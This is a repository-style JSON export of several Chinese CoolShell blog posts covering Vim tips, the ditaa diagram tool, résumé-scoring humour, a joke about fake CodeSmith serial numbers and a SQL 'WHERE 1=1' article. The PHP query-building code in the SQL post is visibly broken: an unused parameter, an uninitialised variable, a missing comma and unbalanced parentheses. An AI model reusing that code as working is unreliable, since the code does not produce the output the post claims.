Test，“步步为营的增量式”和“以敌对的态度”，都是值得我们所学习的。我们经常听到有人在抱怨软件道，因为软件工程还太年轻了，还有很多知识我们还没有得到，所以总是那么多问题。这完全是胡说！我们痛苦是因为，我们 [总是忽略](http://www.stevemcconnell.com/cc.htm) 早就确定了的， [早为人所熟知](http://www.joelonsoftware.com/articles/fog0000000043.html)， [以经历和实践去证明一切的方法](http://www.stevemcconnell.com/rd.htm)。 当然，在这方面，我们的管理层也需要负责，尤其是那些紊乱的时间进度，错误的激励机制，低档次的招聘，和一些让士气受挫的制度，等等。“管理”和“工程”间的紧张关系最终成为了糟糕的管理。Feynman在他的报告中也谈到了这点，下面其中的一小段话：\n\n\n\n> 总而言之，计算机软件检查系统和**最负责的态度**。是的，那里并没有那种自欺欺人而不顾固体燃料助推器的标准。但可以肯定的是，有关管理部门**最新的建议，建议取消此类复杂而昂贵的不必要的测试**。\n> \n> \n\n\n这只是其中的一个小段。我把其挑出来是因为其一针见血地指出了观点，比如“最负责的态度”，以及“逐步的自欺欺人”。我建议你读一读[报告全文](http://www.ralentz.com/old/space/feynman-report.html)， 可以让你得到很多真相。关于软件工程，下面是几个主要观点：\n\n\n* 工程仅当在和其管理有好的关系的时候才能好。\n* 大型的从上从前端的设计是愚蠢的。\n* 软件工程和其它传统的工程学是一样的。\n* 可靠的系统由几近残酷的测试，增量式的自底向上的工程，以及高负责的态度来共同保证。\n\n\n这篇报告中，还有很多不错的观点，如果你感受到了，欢迎你告诉我。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2681.html)[Kent Beck 谈单元测试和持续部署](https://coolshell.cn/articles/2681.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2539.html)[参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍](https://coolshell.cn/articles/2539.html)\n* [![怎样做一个 Program Manager](../wp-content/uploads/2009/03/09meeting-thumbnail-150x150.jpg)](https://coolshell.cn/articles/76.html)[怎样做一个 Program Manager](https://coolshell.cn/articles/76.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/404.html)[4月14日，微软补丁日](https://coolshell.cn/articles/404.html)\n* [![一些非常不错的资料](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg)](https://coolshell.cn/articles/3192.html)[一些非常不错的资料](https://coolshell.cn/articles/3192.html)\n* [![9个最常见IE的Bug及其fix](../wp-content/uploads/2009/11/200x200-150x150.jpg)](https://coolshell.cn/articles/1817.html)[9个最常见IE的Bug及其fix](https://coolshell.cn/articles/1817.html)\nThe post [Richard Feynman, 挑战者号, 软件工程](https://coolshell.cn/articles/1654.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-4 VIM有趣的命令.md",
    "content": "---\nlayout: post\ntitle: VIM有趣的命令\ndate: 2009/11/4/ 11:5:22\nupdated: 2009/11/4/ 11:5:22\nstatus: publish\npublished: true\ntype: post\n---\n\n前几天逛豆瓣，发现了VIM一个有趣的小技巧。\n\n\n在VIM中输入:h!试试看会发现什么。\n\n\n再输入:h 42呢？又会有什么发现？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [VIM有趣的命令](https://coolshell.cn/articles/1651.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-7 Vim的分屏功能.md",
    "content": "---\nlayout: post\ntitle: Vim的分屏功能\ndate: 2009/11/7/ 3:39:53\nupdated: 2009/11/7/ 3:39:53\nstatus: publish\npublished: true\ntype: post\n---\n\n本篇文章主要教你如何使用 [Vim](http://www.vim.org/) 分屏功能。\n\n\n![vim-windows](../wp-content/uploads/2009/11/vimwindows.png \"vim-windows\")\n\n\n https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif \"更多...\"\n\n\n#### 分屏启动Vim\n\n\n1. 使用大写的O参数来垂直分屏。\n\n```\nvim -On file1 file2 ...\n```\n2. 使用小写的o参数来水平分屏。\n\n```\nvim -on file1 file2 ...\n```\n\n\n**注释:** n是数字，表示分成几个屏。\n\n\n#### 关闭分屏\n\n\n1. 关闭当前窗口。\n\n```\nCtrl+W c\n```\n2. 关闭当前窗口，如果只剩最后一个了，则退出Vim。\n\n```\nCtrl+W q\n```\n\n\n#### 分屏\n\n\n1. 上下分割当前打开的文件。\n\n```\nCtrl+W s\n```\n2. 上下分割，并打开一个新的文件。\n\n```\n:sp filename\n```\n3. 左右分割当前打开的文件。\n\n```\nCtrl+W v\n```\n4. 左右分割，并打开一个新的文件。\n\n```\n:vsp filename\n```\n\n\n#### 移动光标\n\n\nVi中的光标键是h, j, k, l，要在各个屏间切换，只需要先按一下Ctrl+W\n\n\n1. 把光标移到**右边**的屏。\n\n```\nCtrl+W l\n```\n2. 把光标移到**左边**的屏中。\n\n```\nCtrl+W h\n```\n3. 把光标移到**上边**的屏中。\n\n```\nCtrl+W k\n```\n4. 把光标移到**下边**的屏中。\n\n```\nCtrl+W j\n```\n5. 把光标移到**下一个**的屏中。.\n\n```\nCtrl+W w\n```\n\n\n#### 移动分屏\n\n\n这个功能还是使用了Vim的光标键，只不过都是大写。当然了，如果你的分屏很乱很复杂的话，这个功能可能会出现一些非常奇怪的症状。\n\n\n1. 向右移动。\n\n```\nCtrl+W L\n```\n2. 向左移动\n\n```\nCtrl+W H\n```\n3. 向上移动\n\n```\nCtrl+W K\n```\n4. 向下移动\n\n```\nCtrl+W J\n```\n\n\n#### 屏幕尺寸\n\n\n下面是改变尺寸的一些操作，主要是高度，对于宽度你可以使用[Ctrl+W <]或是[Ctrl+W >]，但这可能需要最新的版本才支持。\n\n\n1. 让所有的屏都有一样的高度。\n\n```\nCtrl+W =\n```\n2. 增加高度。\n\n```\nCtrl+W +\n```\n3. 减少高度。\n\n```\nCtrl+W -\n```\n\n\n`也许还有其它我不知道的，欢迎你补充。`\n\n\n`（全文完）`\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [Vim的分屏功能](https://coolshell.cn/articles/1679.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-7 把ASCII图转成图片.md",
    "content": "---\nlayout: post\ntitle: 把ASCII图转成图片\ndate: 2009/11/7/ 16:20:3\nupdated: 2009/11/7/ 16:20:3\nstatus: publish\npublished: true\ntype: post\n---\n\n\n我们都知道有很多软件帮我们把图片转成ASCII码图，这里这个工具是帮我们把ASCII图转成漂亮的图片。这个开源的软件是一个用Java写成的一个命令行的工具。对于这个工具的目的，我个人以为如下：\n\n\n* 其一，可以把别人的ASCII图转成图片，于是更好看一些。\n* 其二，你可以使用ASCII码画图，而不需要使用图片编辑器。\n* 其三，因为是命令行，所以，你完全可以以脚本或程序的方法来作图了。\n\n\n这个工具软件叫ditaa，其网址是：<http://ditaa.sourceforge.net/>。\n\n\nhttp://ditaa.sourceforge.net/images/logo.pnghttp://ditaa.sourceforge.net/images/arrow_hor.png\n\n\n这个小工具支持一些语法定义，可以帮你更好地产生图片，如下所示：\n\n\n\n**圆角矩形**\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\n/--+\n|  |\n+--/\n```\n | round corner demo |\n\n\n\n**定义颜色**\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\nColor codes\n/-------------+-------------\\\n|cRED RED     |cBLU BLU     |\n+-------------+-------------+\n|cGRE GRE     |cPNK PNK     |\n+-------------+-------------+\n|cBLK BLK     |cYEL YEL     |\n\\-------------+-------------/\n```\n | color code |\n\n\n\n\n\n**一些图示**\n\n\n\n\n| 名字 | ASCII | 图版 | 注释 |\n| --- | --- | --- | --- |\n| 文档 | \n```\n+-----+\n|{d}  |\n|     |\n|     |\n+-----+\n```\n |  | 表示文件 |\n| 存储 | \n```\n+-----+\n|{s}  |\n|     |\n|     |\n+-----+\n```\n |  | 表示数据库或磁盘 |\n| 输入\n输出 | \n```\n+-----+\n|{io} |\n|     |\n|     |\n+-----+\n```\n |  | 输入/输出标志。 |\n\n\n\n\n\n**线条设置**\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\n----+  /----\\  +----+\n    :  |    |  :    |\n    |  |    |  |{s} |\n    v  \\-=--+  +----+\n```\n |  |\n\n\n\n\n\n\n**线上的链接点**\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\n*----*\n|    |      /--*\n*    *      |\n|    |  -*--+\n*----*\n```\n | point marker demo |\n\n\n\n\n\n**文本**\n\n\n\n\n|  |  |\n| --- | --- |\n| \n```\n/-----------------\\\n| Things to do    |\n| cGRE            |\n| o Cut the grass |\n| o Buy jam       |\n| o Fix car       |\n| o Make website  |\n\\-----------------/\n```\n | bullet point demo |\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/290.html)[雷人的程序注释](https://coolshell.cn/articles/290.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\n* [![伦敦地铁实时图](../wp-content/uploads/2010/06/London-Live-Train-Map-150x150.jpg)](https://coolshell.cn/articles/2520.html)[伦敦地铁实时图](https://coolshell.cn/articles/2520.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/1245.html)[IE的CSS相关的BUG](https://coolshell.cn/articles/1245.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\nThe post [把ASCII图转成图片](https://coolshell.cn/articles/1684.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-9 别的程序员是怎么读你的简历的.md",
    "content": "---\nlayout: post\ntitle: 别的程序员是怎么读你的简历的\ndate: 2009/11/9/ 2:22:23\nupdated: 2009/11/9/ 2:22:23\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个图片来源国外，是一个关于程序员面试时的简历，被人事部门和程序员本身评审的角度不同的图片。当然，这是一个从国外面试的视角制作的图片，不过，可以看出，其中很多东西都是和国内是相同的。让我们通过这个图片也来了解一下自身吧。\n\n\n[![程序员怎样阅读简历（点击看大图）](../wp-content/uploads/2009/11/resume_comic-552x1024.png \"程序员怎样阅读简历\")](https://coolshell.cn/wp-content/uploads/2009/11/resume_comic.png)\n\n\n下面是我对其做的翻译，翻译水平有限，请大家指正。\n\n\n\n#### 人事部门是这样阅读简历的\n\n\n* （+15分）如果简历中说到了和工作职位相符的技能超过5次以上。\n* （+8分）如果简历中说到了和工作职位相符的技能3次到5次。\n* （+4分）如果简历中说到了和工作职位相符的技能1次到2次。\n* （+4分）Cover Letter（“求职信”或“自荐信”）提到了招聘人员。\n* （+2分）简历中有Cover Letter（求职信）。\n* （-10分）没有提到和职位描述相关的技能。\n* （-15分）没有受过大专教育。\n\n\n#### 程序员是这样阅读简历的\n\n\n* （+15分）曾经因为好玩而写过操作系统或编译器。\n* （+12分）简历被LaTeX编译过。\n* （+11分）为开源软件贡献过代码。\n* （+9分）上学的时候曾经写过操作系统或编译器。\n* （+8分）有一个BLOG分享技术知识。\n* （+8分）编程/机器人/工程俱乐部主席。\n* （+7分）编程/机器人/工程竞赛参与者。\n* （+7分）在Google和Microsoft实习过。\n* （+6分）使用动态语言（Python/Perl/Ruby）写过非试验性的程序。\n* （+5分）知道3种或多于3种的编程语言。\n* （+5分）之前的工作和目前的职位有很相似的经验。\n* （+4分）有过实习经验。\n* （+4分）自己创过业开过公司。\n* （+4分）有一个通过Rail, PHP或ASP.NET的个人主页。\n* （+3分）有一个自己域名的邮件地址。\n* （+3分）改过一些由动态语言（Python/Perl/Ruby）写的程序。\n* （+2分）有一个个人主页。\n* （+1分）高学历，学习成绩优秀，等。\n* （+0分）有奖学金。\n* （+0分）在快餐店工作过。\n* （-0.5分）Fackbook上有一张看上去喝醉了的照片。\n* （-1分）有博士头衔。\n* （-2分）有一个一般的求职信。\n* （-2分）在简历中说自己懂Word/Excel。\n* （-2分）在简历中有拼写和语法错误。\n* （-3分）简历的字体太小。\n* （-4分）所有的编程经验只是在学校中。\n* （-4分）只知道一门编程语言。\n* （-6分）简历有三页以上。\n* （-6分）简历中有一些无关的东西。\n* （-7分）得到过一些课程的认证。\n* （-8分）相关专业课程很低的成绩。\n* （-10分）在技能中，把Visual Basic列在第一的位置。\n* （-12分）在Facebook中，有过光膀子的照片。\n* （-15分）简历中的缩进同时使用了空格和Tab键。\n\n\n我个人觉得其中的很多东西真是说出了程序员的那种特性。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [别的程序员是怎么读你的简历的](https://coolshell.cn/articles/1695.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-9 给我一个序列号.md",
    "content": "---\nlayout: post\ntitle: 给我一个序列号\ndate: 2009/11/9/ 0:1:4\nupdated: 2009/11/9/ 0:1:4\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个链接是CodeSmith官网网站论坛上的一个贴子。<http://community.codesmithtools.com/forums/p/10000/37140.aspx>。在这个贴子里，某位大哥问CodeSmith要一个序列号，一个叫Blake Niemyjski的人，可能是CodeSmith这家公司的客服人说回答到，如果要序列号，需要找他们的销售人员。\n\n\n而这位老哥却说，“我要的是一个被破解的序列号，我手上有很多CodeSmith 5.0版的序列号，都可以使用，而你们把软件升级到了5.1，那些序列号都无法使用了”。客服人员无奈下，只得给出了下面的序列号：\n\n\n**CS50P-0NLY4-1D10T-W0ULD-TRYT0-45KU5-TH15Q**\n\n\n当然，这个序列号并不行，而老哥没有发现这序列号中的端倪，继续问，后面，很多“热心网友”们都来帮忙，给了一些如下的序列号：\n\n\nBL4K3-WH47K-1ND0F-700LI-57H1S-1DI07-4NYWY  \n\nW3LLH-4S7H3-P3NNY-DR0PP-3D4UY-37U45-5WIP3  \n\nUKINT-RYTH1-51FUH-AVAVR-Y5MAL-P3N1S  \n\n1FUH4-VN0P3-N1STH-1S1S8-3TT3R-JU57K-1DD3N\n\n\n呵呵，你看出这些序列号其中的含义了吗？呵呵。下面是翻译：\n\n\n\nCS50P-0NLY4-1D10T-W0ULD-TRYT0-45KU5-TH15Q  \n\nCS5.0 Pro, Only an idiot would try to ask us this q （q的意思是question）\n\n\nBL4K3-WH47K-1ND0F-700LI-57H1S-1DI07-4NYWY  \n\nBlake, What kind of tool is this idiot anyway? （Blake就是那个客服）\n\n\nW3LLH-4S7H3-P3NNY-DR0PP-3D4UY-37U45-5WIP3  \n\nWell has the penny dropped for you yet? U asswipe.\n\n\nUKINT-RYTH1-51FUH-AVAVR-Y5MAL-P3N1S  \n\nYou can try this if you have a very small penis.\n\n\n1FUH4-VN0P3-N1STH-1S1S8-3TT3R-JU57K-1DD3N  \n\nIf you have no penis this is better just kidding.\n\n\n上面的这些英文我就不翻译了，大家就算是看个乐吧。关于这样的恶搞，还有很多，大家可以看看《[编程真难啊](https://coolshell.cn/articles/1391.html \"编程真难啊 - 3,812 次浏览\")》，还有《[Windows 7 的新粉丝 Linus Torvalds](https://coolshell.cn/articles/1619.html)》\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [![Go 语言简介（下）— 特性](../wp-content/uploads/2012/11/google-go-language-150x150.jpg)](https://coolshell.cn/articles/8489.html)[Go 语言简介（下）— 特性](https://coolshell.cn/articles/8489.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/394.html)[十大史上最恶心的操作系统](https://coolshell.cn/articles/394.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/5164.html)[CSS图形](https://coolshell.cn/articles/5164.html)\n* [![关于Facebook 的 React 专利许可证](../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg)](https://coolshell.cn/articles/18140.html)[关于Facebook 的 React 专利许可证](https://coolshell.cn/articles/18140.html)\n* [![一张关于操作系统的图](../wp-content/uploads/2009/10/operating-systems-150x150.jpg)](https://coolshell.cn/articles/1579.html)[一张关于操作系统的图](https://coolshell.cn/articles/1579.html)\nThe post [给我一个序列号](https://coolshell.cn/articles/1693.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-1 Coderun.com 在线开发IDE.md",
    "content": "---\nlayout: post\ntitle: Coderun.com 在线开发IDE\ndate: 2009/12/1/ 5:41:12\nupdated: 2009/12/1/ 5:41:12\nstatus: publish\npublished: true\ntype: post\n---\n\n相信大家都还记得我以前向大家推荐的《[在线代码编译服务Codepad.org](https://coolshell.cn/articles/1310.html)》吧。这回的这个更猛——在线的代码开发的IDE，可以编译，执行，调试。不过，主要针对Web方面的，主要是C#，ASP.NET，Javascript(JQuery)和PHP，很强大哦。那句话是怎么说来的——“如果一个软件可以用Javascript来写，那么这个软件的最终版本会是Javascript”。这个在线的IDE是：\n\n\n[**http://www.coderun.com/ide/**](http://www.coderun.com/ide/)\n\n\n[![Coderun.com 在线开发IDE（点击看大图）](../wp-content/uploads/2009/11/coderun.ide_-300x225.jpg \"Coderun.com 在线开发IDE（点击看大图）\")](https://coolshell.cn/wp-content/uploads/2009/11/coderun.ide_.jpg)\n\n\n有朋友在留言中说，这个项目可能不实用，没什么意思，而我想说，Google的Chrome OS项目可能非常喜欢这个东西。顺便说一下，这个Online的IDE是开源的，源码在这里：<http://coderun.codeplex.com/>。 \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![可视化编程](../wp-content/uploads/2014/02/example_visual_language_sketchpad_01-150x150.jpg)](https://coolshell.cn/articles/11094.html)[可视化编程](https://coolshell.cn/articles/11094.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\nThe post [Coderun.com 在线开发IDE](https://coolshell.cn/articles/1883.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-1 SQL的Where语句.md",
    "content": "---\nlayout: post\ntitle: SQL的Where语句\ndate: 2009/12/1/ 5:48:25\nupdated: 2009/12/1/ 5:48:25\nstatus: publish\npublished: true\ntype: post\n---\n\n某DBA在查看自己的数库日志的时候，看到了数据库服务器上出现了很多很怪异的SQL的Where条件语句，是下面这个样子：（所有的where语句前都有了一个叫“1=1”的子条件）呵呵。\n\n\n![SQL Where Clause](../wp-content/uploads/2009/12/sql.where_.clause.jpg \"SQL Where Clause\")\n\n\n要理解这个事情的原因其实并不难。只要你是一个编写数据库的程序员，你就会知道——动态生成where后的条件的“麻烦”，那就是条件的“分隔”-and或or。下面听我慢慢说来。\n\n\n\n我们知道，大多数的查询表单都需要用户输出一堆查询条件，然后我们的程序在后台要把这些子条件用and组合起来。于是，把and加在各个条件的中间就成为了一件“难事”，因为你的程序需要判断：\n\n\n* 如果没有条件的话，则不需要where\n* 如果只有一个条件的话，不需要and.\n* 如果有多个条件的话，\n\t+ 如果and是持续加在每个条件后面的话，那么就要判断是否是最后一个条件，因为最后一个不能加and.\n\t+ 同样，如果and是要加在每个条件前面的话，你就需要判断是否是第一个，如果是，那就不加。\n\n\n真是TMD太烦了，所以，编程“大拿”引入了“1=1”条件语句。于是，编程的难度大幅度下降，你可以用单一的方式来处理这若干的查询子条件了。而1=1应该会被数据库引擎优化时给去掉了。\n\n\n\n```\n\n<pre><code>$query = \"SELECT name FROM table WHERE 1=1 \";\n\nforeach($clauses as $key => $value){\n    $query .= \" AND \".escape($key).\"=\".escape($value).\" \";\n}\n</code></pre>\n\n```\n\n呵呵，**DBA怎么能够理解我们疯狂程序员的用心良苦啊**。\n\n\n另外，在这里说一下，这样的做法看似很愚蠢，但很有效，在PHP的世界中，也有人使用下面这样的做法——使用了PHP的implode函数。\n\n\n\n```\n\n<pre><code>/**\n * @param string $base base of query, e.g. UPDATE table SET\n * @param string $logic logic for concatenating $assoc, e.g. AND\n * @param array $assoc associative array of `field`=>'value' pairs to concatenate and append to $base\n * @param string $suffix additional clauses, e.g. LIMIT 0,30\n * @return string\n */\nfunction construct_sql($base, $logic, $clauses, $suffix='')\n{\n    // initialise array to avoid warnings/notices on some PHP installations\n    $queries = array();\n\n    // create array of strings to be glued together by logic\n    foreach($clauses as $key => $value)\n        $queries[] = \"`\" . escape($key) . \"`='\" . escape($value) . \"'\";\n\n    // add a space in case $base doesn't have a space at the end and glue clauses together\n    $query .= \" \" . implode(\" $logic \",$queries) . \" \" . $suffix . \";\";\n\n    return $query;\n}\n\n/**\n * @param string $str string to escape for intended use\n * @return string\n */\nfunction escape($str)\n{\n    return mysql_real_escape_string($str);\n}\n</code></pre>\n\n```\n\n于是，我们可以这样使用：（`为什么我们要在update语句后加上“Limit 1”呢？这个关系到性能问题，关于这方面的话题，你可以查看本站的《[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html \"MySQL性能优化的最佳20+条经验\")》`）\n\n\n\n```\n\n<pre><code>$updates = array(\n    'field1'=>'val1'\n    'field2'=>'val2'\n);\n$wheres = array(\n    'field1'=>'cond1',\n    'field2'=>'cond2'\n);\necho construct_sql(construct_sql(\"UPDATE table SET\", \", \", $updates) . \" WHERE \", \" AND \", $wheres),\"LIMIT 1\");\n</code></pre>\n<pre></pre>\n\n```\n\n`下面是输出结果：`\n\n\n`UPDATE table SET `field1`='val1', `field2`='val2' WHERE `field1`='cond1' AND `field2`='cond2' LIMIT 1;`\n\n\n \n\n\n`（全文完）`\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![MySQL性能优化的最佳20+条经验](../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg)](https://coolshell.cn/articles/1846.html)[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\nThe post [SQL的Where语句](https://coolshell.cn/articles/1889.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-12-11 Javascript 曲线表作图库.md",
